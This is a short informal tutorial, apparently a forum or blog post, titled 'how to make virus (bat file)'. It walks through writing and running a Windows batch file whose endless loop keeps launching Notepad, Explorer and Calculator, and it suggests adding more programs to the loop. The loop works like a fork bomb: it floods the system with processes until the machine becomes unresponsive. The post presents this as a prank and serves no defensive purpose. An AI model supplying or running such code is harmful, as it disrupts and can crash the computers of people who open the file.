how to make virus (bat file)

step1:
open notepad
step2:write this code
:hack
start notepad.exe
start explorer.exe
start calc.exe
goto hack

step3:
save this file with name hack.bat
step4:
just click on the file & magic will began

note:-
1.file should be save with .bat extension
2.u can include many more programs in code
3.u can get code from C:\Windows\System32
or start task manager goto process explorer and get program name.
so enjoy ..............